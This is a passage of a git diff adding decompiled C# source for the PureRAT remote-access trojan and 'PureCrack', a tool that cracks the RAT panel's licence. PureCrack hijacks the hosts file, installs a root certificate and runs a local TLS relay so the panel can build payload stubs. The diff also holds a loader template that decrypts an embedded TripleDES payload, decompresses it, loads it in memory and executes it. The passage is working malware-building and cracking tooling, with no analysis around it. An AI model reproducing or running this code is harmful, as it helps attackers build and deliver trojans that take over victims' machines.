RID: 67 + [CompilerGenerated] + private string string_1; + + // Token: 0x04000044 RID: 68 + [CompilerGenerated] + private bool bool_0; + + // Token: 0x04000045 RID: 69 + [CompilerGenerated] + private bool bool_1; + + // Token: 0x04000046 RID: 70 + [CompilerGenerated] + private string string_2; + + // Token: 0x04000047 RID: 71 + [CompilerGenerated] + private string string_3; + + // Token: 0x04000048 RID: 72 + [CompilerGenerated] + private string string_4; + + // Token: 0x04000049 RID: 73 + [CompilerGenerated] + private bool bool_2; + + // Token: 0x0400004A RID: 74 + private static object object_1; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass4.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass4.cs new file mode 100644 index 0000000..a70a8d5 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass4.cs @@ -0,0 +1,224 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x02000018 RID: 24 +[ProtoContract] +public class GClass4 : GClass2 +{ + // Token: 0x1700000B RID: 11 + // (get) Token: 0x06000089 RID: 137 RVA: 0x000025E9 File Offset: 0x000007E9 + // (set) Token: 0x0600008A RID: 138 RVA: 0x000025F1 File Offset: 0x000007F1 + [ProtoMember(1)] + public string smFdyqYylo { get; set; } + + // Token: 0x1700000C RID: 12 + // (get) Token: 0x0600008B RID: 139 RVA: 0x000025FA File Offset: 0x000007FA + // (set) Token: 0x0600008C RID: 140 RVA: 0x00002602 File Offset: 0x00000802 + [ProtoMember(2)] + public bool Boolean_0 { get; set; } + + // Token: 0x1700000D RID: 13 + // (get) Token: 0x0600008D RID: 141 RVA: 0x0000260B File Offset: 0x0000080B + // (set) Token: 0x0600008E RID: 142 RVA: 0x00002613 File Offset: 0x00000813 + [ProtoMember(3)] + public int Int32_0 { get; set; } + + // Token: 0x1700000E RID: 14 + // (get) Token: 0x0600008F RID: 143 RVA: 0x0000261C File Offset: 0x0000081C + // (set) Token: 0x06000090 RID: 144 RVA: 0x00002624 File Offset: 0x00000824 + [ProtoMember(4)] + public string String_0 { get; set; } + + // Token: 0x1700000F RID: 15 + // (get) Token: 0x06000091 RID: 145 RVA: 0x0000262D File Offset: 0x0000082D + // (set) Token: 0x06000092 RID: 146 RVA: 0x00002635 File Offset: 0x00000835 + [ProtoMember(5)] + public string String_1 { get; set; } + + // Token: 0x17000010 RID: 16 + // (get) Token: 0x06000093 RID: 147 RVA: 0x0000263E File Offset: 0x0000083E + // (set) Token: 0x06000094 RID: 148 RVA: 0x00002646 File Offset: 0x00000846 + [ProtoMember(6)] + public string QnsdsyyYrB { get; set; } + + // Token: 0x17000011 RID: 17 + // (get) Token: 0x06000095 RID: 149 RVA: 0x0000264F File Offset: 0x0000084F + // (set) Token: 0x06000096 RID: 150 RVA: 0x00002657 File Offset: 0x00000857 + [ProtoMember(7)] + public string String_2 { get; set; } + + // Token: 0x17000012 RID: 18 + // (get) Token: 0x06000097 RID: 151 RVA: 0x00002660 File Offset: 0x00000860 + // (set) Token: 0x06000098 RID: 152 RVA: 0x00002668 File Offset: 0x00000868 + [ProtoMember(8)] + public string String_3 { get; set; } + + // Token: 0x17000013 RID: 19 + // (get) Token: 0x06000099 RID: 153 RVA: 0x00002671 File Offset: 0x00000871 + // (set) Token: 0x0600009A RID: 154 RVA: 0x00002679 File Offset: 0x00000879 + [ProtoMember(9)] + public int Int32_1 { get; set; } + + // Token: 0x17000014 RID: 20 + // (get) Token: 0x0600009B RID: 155 RVA: 0x00002682 File Offset: 0x00000882 + // (set) Token: 0x0600009C RID: 156 RVA: 0x0000268A File Offset: 0x0000088A + [ProtoMember(10)] + public string String_4 { get; set; } + + // Token: 0x17000015 RID: 21 + // (get) Token: 0x0600009D RID: 157 RVA: 0x00002693 File Offset: 0x00000893 + // (set) Token: 0x0600009E RID: 158 RVA: 0x0000269B File Offset: 0x0000089B + [ProtoMember(11)] + public string String_5 { get; set; } + + // Token: 0x17000016 RID: 22 + // (get) Token: 0x0600009F RID: 159 RVA: 0x000026A4 File Offset: 0x000008A4 + // (set) Token: 0x060000A0 RID: 160 RVA: 0x000026AC File Offset: 0x000008AC + [ProtoMember(12)] + public int Int32_2 { get; set; } + + // Token: 0x17000017 RID: 23 + // (get) Token: 0x060000A1 RID: 161 RVA: 0x000026B5 File Offset: 0x000008B5 + // (set) Token: 0x060000A2 RID: 162 RVA: 0x000026BD File Offset: 0x000008BD + [ProtoMember(13)] + public string String_6 { get; set; } + + // Token: 0x17000018 RID: 24 + // (get) Token: 0x060000A3 RID: 163 RVA: 0x000026C6 File Offset: 0x000008C6 + // (set) Token: 0x060000A4 RID: 164 RVA: 0x000026CE File Offset: 0x000008CE + [ProtoMember(14)] + public string String_7 { get; set; } + + // Token: 0x17000019 RID: 25 + // (get) Token: 0x060000A5 RID: 165 RVA: 0x000026D7 File Offset: 0x000008D7 + // (set) Token: 0x060000A6 RID: 166 RVA: 0x000026DF File Offset: 0x000008DF + [ProtoMember(15)] + public string String_8 { get; set; } + + // Token: 0x1700001A RID: 26 + // (get) Token: 0x060000A7 RID: 167 RVA: 0x000026E8 File Offset: 0x000008E8 + // (set) Token: 0x060000A8 RID: 168 RVA: 0x000026F0 File Offset: 0x000008F0 + [ProtoMember(16)] + public string String_9 { get; set; } + + // Token: 0x1700001B RID: 27 + // (get) Token: 0x060000A9 RID: 169 RVA: 0x000026F9 File Offset: 0x000008F9 + // (set) Token: 0x060000AA RID: 170 RVA: 0x00002701 File Offset: 0x00000901 + [ProtoMember(17)] + public byte[] Byte_0 { get; set; } + + // Token: 0x1700001C RID: 28 + // (get) Token: 0x060000AB RID: 171 RVA: 0x0000270A File Offset: 0x0000090A + // (set) Token: 0x060000AC RID: 172 RVA: 0x00002712 File Offset: 0x00000912 + [ProtoMember(18)] + public string String_10 { get; set; } + + // Token: 0x1700001D RID: 29 + // (get) Token: 0x060000AD RID: 173 RVA: 0x0000271B File Offset: 0x0000091B + // (set) Token: 0x060000AE RID: 174 RVA: 0x00002723 File Offset: 0x00000923 + [ProtoMember(19)] + public bool Boolean_1 { get; set; } + + // Token: 0x1700001E RID: 30 + // (get) Token: 0x060000AF RID: 175 RVA: 0x0000272C File Offset: 0x0000092C + // (set) Token: 0x060000B0 RID: 176 RVA: 0x00002734 File Offset: 0x00000934 + [ProtoMember(20)] + public string String_11 { get; set; } + + // Token: 0x060000B2 RID: 178 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass4() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000B3 RID: 179 RVA: 0x00002745 File Offset: 0x00000945 + internal static bool smethod_1() + { + return GClass4.object_1 == null; + } + + // Token: 0x0400004B RID: 75 + [CompilerGenerated] + private string obhFjdEgjE; + + // Token: 0x0400004C RID: 76 + [CompilerGenerated] + private bool bool_0; + + // Token: 0x0400004D RID: 77 + [CompilerGenerated] + private int int_0; + + // Token: 0x0400004E RID: 78 + [CompilerGenerated] + private string string_0; + + // Token: 0x0400004F RID: 79 + [CompilerGenerated] + private string string_1; + + // Token: 0x04000050 RID: 80 + [CompilerGenerated] + private string string_2; + + // Token: 0x04000051 RID: 81 + [CompilerGenerated] + private string string_3; + + // Token: 0x04000052 RID: 82 + [CompilerGenerated] + private string string_4; + + // Token: 0x04000053 RID: 83 + [CompilerGenerated] + private int int_1; + + // Token: 0x04000054 RID: 84 + [CompilerGenerated] + private string string_5; + + // Token: 0x04000055 RID: 85 + [CompilerGenerated] + private string string_6; + + // Token: 0x04000056 RID: 86 + [CompilerGenerated] + private int int_2; + + // Token: 0x04000057 RID: 87 + [CompilerGenerated] + private string string_7; + + // Token: 0x04000058 RID: 88 + [CompilerGenerated] + private string string_8; + + // Token: 0x04000059 RID: 89 + [CompilerGenerated] + private string string_9; + + // Token: 0x0400005A RID: 90 + [CompilerGenerated] + private string string_10; + + // Token: 0x0400005B RID: 91 + [CompilerGenerated] + private byte[] byte_0; + + // Token: 0x0400005C RID: 92 + [CompilerGenerated] + private string string_11; + + // Token: 0x0400005D RID: 93 + [CompilerGenerated] + private bool bool_1; + + // Token: 0x0400005E RID: 94 + [CompilerGenerated] + private string string_12; + + // Token: 0x0400005F RID: 95 + private static object object_1; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass5.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass5.cs new file mode 100644 index 0000000..4f63d23 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass5.cs @@ -0,0 +1,34 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x02000019 RID: 25 +[ProtoContract] +public class GClass5 : GClass2 +{ + // Token: 0x1700001F RID: 31 + // (get) Token: 0x060000B4 RID: 180 RVA: 0x0000274F File Offset: 0x0000094F + // (set) Token: 0x060000B5 RID: 181 RVA: 0x00002757 File Offset: 0x00000957 + [ProtoMember(3)] + public byte[] Byte_0 { get; set; } + + // Token: 0x060000B7 RID: 183 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass5() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000B8 RID: 184 RVA: 0x00002760 File Offset: 0x00000960 + internal static bool smethod_1() + { + return GClass5.object_1 == null; + } + + // Token: 0x04000060 RID: 96 + [CompilerGenerated] + private byte[] byte_0; + + // Token: 0x04000061 RID: 97 + internal static object object_1; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass6.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass6.cs new file mode 100644 index 0000000..decefbc --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass6.cs @@ -0,0 +1,23 @@ +using System; +using ProtoBuf; + +// Token: 0x0200001A RID: 26 +[ProtoContract] +public class GClass6 : GClass2 +{ + // Token: 0x060000BA RID: 186 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass6() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000BB RID: 187 RVA: 0x0000276A File Offset: 0x0000096A + internal static bool smethod_1() + { + return GClass6.object_1 == null; + } + + // Token: 0x04000062 RID: 98 + internal static object object_1; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass7.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass7.cs new file mode 100644 index 0000000..fb5cdfa --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass7.cs @@ -0,0 +1,54 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x0200001B RID: 27 +[ProtoContract] +public class GClass7 : GClass2 +{ + // Token: 0x17000020 RID: 32 + // (get) Token: 0x060000BC RID: 188 RVA: 0x00002774 File Offset: 0x00000974 + // (set) Token: 0x060000BD RID: 189 RVA: 0x0000277C File Offset: 0x0000097C + [ProtoMember(1)] + public GClass4 GClass4_0 { get; set; } + + // Token: 0x17000021 RID: 33 + // (get) Token: 0x060000BE RID: 190 RVA: 0x00002785 File Offset: 0x00000985 + // (set) Token: 0x060000BF RID: 191 RVA: 0x0000278D File Offset: 0x0000098D + [ProtoMember(2)] + public GEnum0 GEnum0_0 { get; set; } + + // Token: 0x17000022 RID: 34 + // (get) Token: 0x060000C0 RID: 192 RVA: 0x00002796 File Offset: 0x00000996 + // (set) Token: 0x060000C1 RID: 193 RVA: 0x0000279E File Offset: 0x0000099E + [ProtoMember(3)] + public string zPjUxLdehl { get; set; } + + // Token: 0x060000C3 RID: 195 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass7() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000C4 RID: 196 RVA: 0x000027A7 File Offset: 0x000009A7 + internal static bool smethod_1() + { + return GClass7.object_1 == null; + } + + // Token: 0x04000063 RID: 99 + [CompilerGenerated] + private GClass4 gclass4_0; + + // Token: 0x04000064 RID: 100 + [CompilerGenerated] + private GEnum0 genum0_0; + + // Token: 0x04000065 RID: 101 + [CompilerGenerated] + private string string_0; + + // Token: 0x04000066 RID: 102 + internal static object object_1; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass8.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass8.cs new file mode 100644 index 0000000..cd851cd --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass8.cs @@ -0,0 +1,84 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x0200001C RID: 28 +[ProtoContract] +public class GClass8 : GClass2 +{ + // Token: 0x17000023 RID: 35 + // (get) Token: 0x060000C5 RID: 197 RVA: 0x000027B1 File Offset: 0x000009B1 + // (set) Token: 0x060000C6 RID: 198 RVA: 0x000027B9 File Offset: 0x000009B9 + [ProtoMember(1)] + public int Int32_0 { get; set; } + + // Token: 0x17000024 RID: 36 + // (get) Token: 0x060000C7 RID: 199 RVA: 0x000027C2 File Offset: 0x000009C2 + // (set) Token: 0x060000C8 RID: 200 RVA: 0x000027CA File Offset: 0x000009CA + [ProtoMember(2)] + public bool HasValue { get; set; } + + // Token: 0x17000025 RID: 37 + // (get) Token: 0x060000C9 RID: 201 RVA: 0x000027D3 File Offset: 0x000009D3 + // (set) Token: 0x060000CA RID: 202 RVA: 0x000027DB File Offset: 0x000009DB + [ProtoMember(3)] + public int Int32_1 { get; set; } + + // Token: 0x17000026 RID: 38 + // (get) Token: 0x060000CB RID: 203 RVA: 0x000027E4 File Offset: 0x000009E4 + // (set) Token: 0x060000CC RID: 204 RVA: 0x000027EC File Offset: 0x000009EC + [ProtoMember(4)] + public string String_0 { get; set; } + + // Token: 0x17000027 RID: 39 + // (get) Token: 0x060000CD RID: 205 RVA: 0x000027F5 File Offset: 0x000009F5 + // (set) Token: 0x060000CE RID: 206 RVA: 0x000027FD File Offset: 0x000009FD + [ProtoMember(5)] + public string String_1 { get; set; } + + // Token: 0x17000028 RID: 40 + // (get) Token: 0x060000CF RID: 207 RVA: 0x00002806 File Offset: 0x00000A06 + // (set) Token: 0x060000D0 RID: 208 RVA: 0x0000280E File Offset: 0x00000A0E + [ProtoMember(6)] + public byte[] Byte_0 { get; set; } + + // Token: 0x060000D2 RID: 210 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass8() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000D3 RID: 211 RVA: 0x00002817 File Offset: 0x00000A17 + internal static bool smethod_1() + { + return GClass8.object_1 == null; + } + + // Token: 0x04000067 RID: 103 + [CompilerGenerated] + private int int_0; + + // Token: 0x04000068 RID: 104 + [CompilerGenerated] + private bool bool_0; + + // Token: 0x04000069 RID: 105 + [CompilerGenerated] + private int int_1; + + // Token: 0x0400006A RID: 106 + [CompilerGenerated] + private string string_0; + + // Token: 0x0400006B RID: 107 + [CompilerGenerated] + private string string_1; + + // Token: 0x0400006C RID: 108 + [CompilerGenerated] + private byte[] byte_0; + + // Token: 0x0400006D RID: 109 + internal static object object_1; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass9.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass9.cs new file mode 100644 index 0000000..7f556ca --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass9.cs @@ -0,0 +1,34 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x0200001D RID: 29 +[ProtoContract] +public class GClass9 : GClass2 +{ + // Token: 0x17000029 RID: 41 + // (get) Token: 0x060000D4 RID: 212 RVA: 0x00002821 File Offset: 0x00000A21 + // (set) Token: 0x060000D5 RID: 213 RVA: 0x00002829 File Offset: 0x00000A29 + [ProtoMember(1)] + public string String_0 { get; set; } + + // Token: 0x060000D7 RID: 215 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass9() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000D8 RID: 216 RVA: 0x00002832 File Offset: 0x00000A32 + internal static bool smethod_1() + { + return GClass9.object_1 == null; + } + + // Token: 0x0400006E RID: 110 + [CompilerGenerated] + private string string_0; + + // Token: 0x0400006F RID: 111 + internal static object object_1; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GEnum0.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GEnum0.cs new file mode 100644 index 0000000..12a0668 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GEnum0.cs @@ -0,0 +1,128 @@ +using System; +using ProtoBuf; + +// Token: 0x02000023 RID: 35 +[ProtoContract] +public enum GEnum0 +{ + // Token: 0x0400007E RID: 126 + [ProtoEnum(Value = 0)] + const_0, + // Token: 0x0400007F RID: 127 + [ProtoEnum(Value = 1)] + const_1, + // Token: 0x04000080 RID: 128 + [ProtoEnum(Value = 2)] + const_2, + // Token: 0x04000081 RID: 129 + [ProtoEnum(Value = 3)] + const_3, + // Token: 0x04000082 RID: 130 + [ProtoEnum(Value = 4)] + const_4, + // Token: 0x04000083 RID: 131 + [ProtoEnum(Value = 5)] + const_5, + // Token: 0x04000084 RID: 132 + [ProtoEnum(Value = 6)] + const_6, + // Token: 0x04000085 RID: 133 + [ProtoEnum(Value = 7)] + const_7, + // Token: 0x04000086 RID: 134 + [ProtoEnum(Value = 8)] + const_8, + // Token: 0x04000087 RID: 135 + [ProtoEnum(Value = 9)] + const_9, + // Token: 0x04000088 RID: 136 + [ProtoEnum(Value = 10)] + const_10, + // Token: 0x04000089 RID: 137 + [ProtoEnum(Value = 11)] + const_11, + // Token: 0x0400008A RID: 138 + [ProtoEnum(Value = 12)] + const_12, + // Token: 0x0400008B RID: 139 + [ProtoEnum(Value = 13)] + const_13, + // Token: 0x0400008C RID: 140 + [ProtoEnum(Value = 14)] + const_14, + // Token: 0x0400008D RID: 141 + [ProtoEnum(Value = 15)] + const_15, + // Token: 0x0400008E RID: 142 + [ProtoEnum(Value = 16)] + const_16, + // Token: 0x0400008F RID: 143 + [ProtoEnum(Value = 17)] + const_17, + // Token: 0x04000090 RID: 144 + [ProtoEnum(Value = 18)] + const_18, + // Token: 0x04000091 RID: 145 + [ProtoEnum(Value = 19)] + const_19, + // Token: 0x04000092 RID: 146 + [ProtoEnum(Value = 20)] + const_20, + // Token: 0x04000093 RID: 147 + [ProtoEnum(Value = 21)] + const_21, + // Token: 0x04000094 RID: 148 + [ProtoEnum(Value = 22)] + const_22, + // Token: 0x04000095 RID: 149 + [ProtoEnum(Value = 23)] + const_23, + // Token: 0x04000096 RID: 150 + [ProtoEnum(Value = 24)] + const_24, + // Token: 0x04000097 RID: 151 + [ProtoEnum(Value = 25)] + const_25, + // Token: 0x04000098 RID: 152 + [ProtoEnum(Value = 26)] + const_26, + // Token: 0x04000099 RID: 153 + [ProtoEnum(Value = 27)] + const_27, + // Token: 0x0400009A RID: 154 + [ProtoEnum(Value = 28)] + const_28, + // Token: 0x0400009B RID: 155 + [ProtoEnum(Value = 29)] + const_29, + // Token: 0x0400009C RID: 156 + [ProtoEnum(Value = 30)] + const_30, + // Token: 0x0400009D RID: 157 + [ProtoEnum(Value = 31)] + const_31, + // Token: 0x0400009E RID: 158 + [ProtoEnum(Value = 32)] + const_32, + // Token: 0x0400009F RID: 159 + [ProtoEnum(Value = 33)] + const_33, + // Token: 0x040000A0 RID: 160 + [ProtoEnum(Value = 34)] + const_34, + // Token: 0x040000A1 RID: 161 + [ProtoEnum(Value = 35)] + const_35, + // Token: 0x040000A2 RID: 162 + [ProtoEnum(Value = 36)] + const_36, + // Token: 0x040000A3 RID: 163 + [ProtoEnum(Value = 37)] + const_37, + // Token: 0x040000A4 RID: 164 + [ProtoEnum(Value = 38)] + const_38, + // Token: 0x040000A5 RID: 165 + [ProtoEnum(Value = 39)] + const_39 +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.Loader.tmpl b/decompiled/purerat decompiled/PureCrack.assets.inner.Loader.tmpl new file mode 100644 index 0000000..87256cb --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.Loader.tmpl @@ -0,0 +1,76 @@ +using System; +using System.IO; +using System.IO.Compression; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Security.Cryptography; + +internal static class PCLoader +{ + private static Assembly pa; + private static Assembly R(object s, ResolveEventArgs e) + { + if (e.Name.Contains("protobuf")) + { + if (pa == null) + { + using (var st = typeof(PCLoader).Assembly.GetManifestResourceStream("protobuf-net.dll")) + { + byte[] b = new byte[st.Length]; st.Read(b, 0, b.Length); + pa = Assembly.Load(b); + } + } + return pa; + } + return null; + } + + [DllImport("user32.dll")] + private static extern bool SetProcessDPIAware(); + + public static void Main() + { + try { SetProcessDPIAware(); } catch { } + AppDomain.CurrentDomain.AssemblyResolve += R; + + byte[] blob; + using (var st = typeof(PCLoader).Assembly.GetManifestResourceStream("PayloadSource.zip")) + { + blob = new byte[st.Length]; st.Read(blob, 0, blob.Length); + } + + byte[] key = Convert.FromBase64String("__KEY_B64__"); + byte[] iv = Convert.FromBase64String("__IV_B64__"); + byte[] dec; + using (var t = TripleDES.Create()) + { + t.Key = key; t.IV = iv; + t.Mode = CipherMode.CBC; t.Padding = PaddingMode.PKCS7; + using (var d = t.CreateDecryptor()) + dec = d.TransformFinalBlock(blob, 0, blob.Length); + } + + byte[] raw; + using (var ms = new MemoryStream(dec, 4, dec.Length - 4)) + using (var gz = new GZipStream(ms, CompressionMode.Decompress)) + using (var o = new MemoryStream()) + { + byte[] buf = new byte[4096]; int n; + while ((n = gz.Read(buf, 0, buf.Length)) > 0) o.Write(buf, 0, n); + raw = o.ToArray(); + } + + Assembly a = Assembly.Load(raw); + foreach (var tp in a.GetTypes()) + { + foreach (var m in tp.GetMethods(BindingFlags.Public | BindingFlags.Static | BindingFlags.DeclaredOnly)) + { + if (m.ReturnType == typeof(void) && m.GetParameters().Length == 0) + { + m.Invoke(null, null); + return; + } + } + } + } +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.protobuf-net.dll b/decompiled/purerat decompiled/PureCrack.assets.inner.protobuf-net.dll new file mode 100644 index 0000000..a1c43fc Binary files /dev/null and b/decompiled/purerat decompiled/PureCrack.assets.inner.protobuf-net.dll differ diff --git a/decompiled/purerat decompiled/PureCrack/Preflight.cs b/decompiled/purerat decompiled/PureCrack/Preflight.cs new file mode 100644 index 0000000..4d1c40a --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack/Preflight.cs @@ -0,0 +1,166 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Net; +using System.Net.Sockets; +using System.Security.Principal; +using Microsoft.CodeAnalysis.CSharp; +using PureCrack.Panel; +using PureCrack.Setup; +using PureCrack.Util; + +namespace PureCrack; + +public static class Preflight +{ + public sealed class Result + { + public List Problems { get; } = new List(); + + public string? PanelExePath { get; set; } + + public bool Ok => Problems.Count == 0; + } + + public static Result Run() + { + Result result = new Result(); + if (!IsAdmin()) + { + result.Problems.Add("not running as administrator (need admin to bind :443 + write hosts + install root cert)"); + } + if (!IsTcpPortFree(443)) + { + string text = LookupTcpListenerHolder(443); + string arg = text ?? "another process"; + string arg2 = ((text != null && text.StartsWith("PID ")) ? (" (taskkill /F /PID " + text.Substring(4).Split(new char[1] { ' ' })[0] + " to stop it)") : ""); + result.Problems.Add($":{443} is already bound by {arg}{arg2}"); + } + try + { + if (!HostsManager.IsWritable()) + { + result.Problems.Add(HostsManager.Path + " is not writable (file marked read-only? AV blocking?)"); + } + } + catch (Exception ex) + { + result.Problems.Add("hosts file check threw: " + ex.Message); + } + try + { + result.PanelExePath = PanelLauncher.FindExe(); + } + catch (FileNotFoundException ex2) + { + result.Problems.Add(ex2.Message); + } + try + { + _ = typeof(CSharpCompilation).Assembly.FullName; + } + catch (Exception ex3) + { + result.Problems.Add("Roslyn (Microsoft.CodeAnalysis.CSharp) not loadable: " + ex3.Message); + } + return result; + } + + public static void Report(Result r) + { + if (r.Ok) + { + Log.Ok("preflight passed (panel at " + r.PanelExePath + ")"); + return; + } + Log.Err($"preflight: {r.Problems.Count} problem(s) — fix all then re-launch:"); + foreach (string problem in r.Problems) + { + Log.Bullet(" - " + problem); + } + } + + private static bool IsAdmin() + { + try + { + using WindowsIdentity ntIdentity = WindowsIdentity.GetCurrent(); + return new WindowsPrincipal(ntIdentity).IsInRole(WindowsBuiltInRole.Administrator); + } + catch + { + return false; + } + } + + private static bool IsTcpPortFree(int port) + { + TcpListener tcpListener = null; + try + { + tcpListener = new TcpListener(IPAddress.Any, port); + tcpListener.Start(); + return true; + } + catch (SocketException) + { + return false; + } + finally + { + try + { + tcpListener?.Stop(); + } + catch + { + } + } + } + + private static string? LookupTcpListenerHolder(int port) + { + try + { + using Process process = Process.Start(new ProcessStartInfo("netstat", "-ano") + { + UseShellExecute = false, + RedirectStandardOutput = true, + CreateNoWindow = true + }); + if (process == null) + { + return null; + } + string text = process.StandardOutput.ReadToEnd(); + process.WaitForExit(5000); + string[] array = text.Split(new char[1] { '\n' }); + for (int i = 0; i < array.Length; i++) + { + string text2 = array[i].Trim(); + if (!text2.StartsWith("TCP", StringComparison.Ordinal)) + { + continue; + } + string[] array2 = text2.Split(new char[2] { ' ', '\t' }, StringSplitOptions.RemoveEmptyEntries); + if (array2.Length >= 5 && !(array2[3] != "LISTENING") && array2[1].EndsWith(":" + port, StringComparison.Ordinal) && int.TryParse(array2[4], out var result)) + { + try + { + Process processById = Process.GetProcessById(result); + return $"PID {result} ({processById.ProcessName})"; + } + catch + { + return $"PID {result}"; + } + } + } + } + catch + { + } + return null; + } +} diff --git a/decompiled/purerat decompiled/PureCrack/Program.cs b/decompiled/purerat decompiled/PureCrack/Program.cs new file mode 100644 index 0000000..b8ad6b3 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack/Program.cs @@ -0,0 +1,255 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; +using PureCrack.Build; +using PureCrack.Panel; +using PureCrack.Relay; +using PureCrack.Setup; +using PureCrack.Util; + +namespace PureCrack; + +internal static class Program +{ + public const int RelayPort = 443; + + public const int PanelPort = 56001; + + private static readonly TimeSpan PanelReadyTimeout = TimeSpan.FromMinutes(5.0); + + public static int Main(string[] args) + { + AppDomain.CurrentDomain.UnhandledException += delegate(object _, UnhandledExceptionEventArgs e) + { + WriteCrashLog("AppDomain.UnhandledException", e.ExceptionObject as Exception); + }; + try + { + Console.OutputEncoding = Encoding.UTF8; + } + catch + { + } + try + { + Log.Banner("PureCrack v2.0 ─ PureRAT licence relay"); + Log.Kv("Workspace", Workspace.Root); + Log.Kv("Captures", Workspace.CapturesDir); + Log.Kv("Stubs", Workspace.StubsDir); + if (!CheckEmbeddedAssets()) + { + return PauseAndExit(1); + } + if (args.Length != 0) + { + switch (args[0]) + { + case "smoke-build": + return SmokeBuildCommand(); + case "help": + case "--help": + case "-h": + PrintHelp(); + return 0; + } + } + return RunFullKit(); + } + catch (Exception ex) + { + WriteCrashLog("Main", ex); + return PauseAndExit(2); + } + } + + private static void WriteCrashLog(string source, Exception? ex) + { + string text = $"[{DateTime.Now:yyyy-MM-dd HH:mm:ss}] CRASH ({source})\n" + " Message: " + (ex?.Message ?? "") + "\n Type: " + (ex?.GetType().FullName ?? "") + "\n Stack:\n" + Indent(ex?.ToString() ?? "", " ") + "\n----------------------------------------\n"; + try + { + Console.Error.WriteLine(text); + } + catch + { + } + try + { + string text2 = Path.Combine(Workspace.DataDir, "last-crash.log"); + File.AppendAllText(text2, text); + try + { + Console.Error.WriteLine("crash log: " + text2); + } + catch + { + } + } + catch + { + try + { + File.AppendAllText(Path.Combine(Path.GetDirectoryName(typeof(Program).Assembly.Location) ?? Environment.CurrentDirectory, "last-crash.log"), text); + } + catch + { + } + } + } + + private static string Indent(string s, string prefix) + { + if (string.IsNullOrEmpty(s)) + { + return s; + } + return prefix + s.Replace("\n", "\n" + prefix); + } + + private static int PauseAndExit(int code) + { + try + { + if (!Console.IsInputRedirected) + { + Console.Error.WriteLine(); + Console.Error.WriteLine("Press any key to close..."); + Console.ReadKey(intercept: true); + } + } + catch + { + } + return code; + } + + private static int RunFullKit() + { + Log.Section("preflight"); + Preflight.Result result = Preflight.Run(); + Preflight.Report(result); + if (!result.Ok) + { + return 1; + } + try + { + Log.Section("hosts + certs"); + HostsManager.Ensure(); + X509Certificate2 serverCert = CertManager.EnsureRelayCert(); + byte[] agentPfxBytes = CertManager.EnsureAgentCertPfxBytes(); + Log.Section("relay"); + RouteHandlers routes = new RouteHandlers(agentPfxBytes, EmbeddedAssets.CannedCompileResponse); + using TlsRelay tlsRelay = new TlsRelay(serverCert, routes); + tlsRelay.Start(); + Log.Section("settings + panel"); + string panelExePath = result.PanelExePath; + string text = SettingsAutoFix.FindSettingsJson(panelExePath); + if (text != null) + { + SettingsAutoFix.ReorderIpsToLoopbackFirst(text); + } + else + { + Log.Warn("Settings.json not found near " + panelExePath + " — skipping IPs reorder (set PURE_SETTINGS_JSON if it lives elsewhere)"); + } + using (PanelLauncher.Launch(panelExePath)) + { + ManualResetEventSlim done = new ManualResetEventSlim(initialState: false); + Console.CancelKeyPress += delegate(object _, ConsoleCancelEventArgs e) + { + e.Cancel = true; + done.Set(); + }; + if (PanelLauncher.WaitForListener(56001, PanelReadyTimeout)) + { + Log.Banner("READY ─ panel + relay running"); + Log.Info("click 'Builder Settings → Build' in the panel to produce a stub"); + Log.Info("stubs land in runs/stubs/. captures in runs/captures/."); + Log.Info("Ctrl-C to 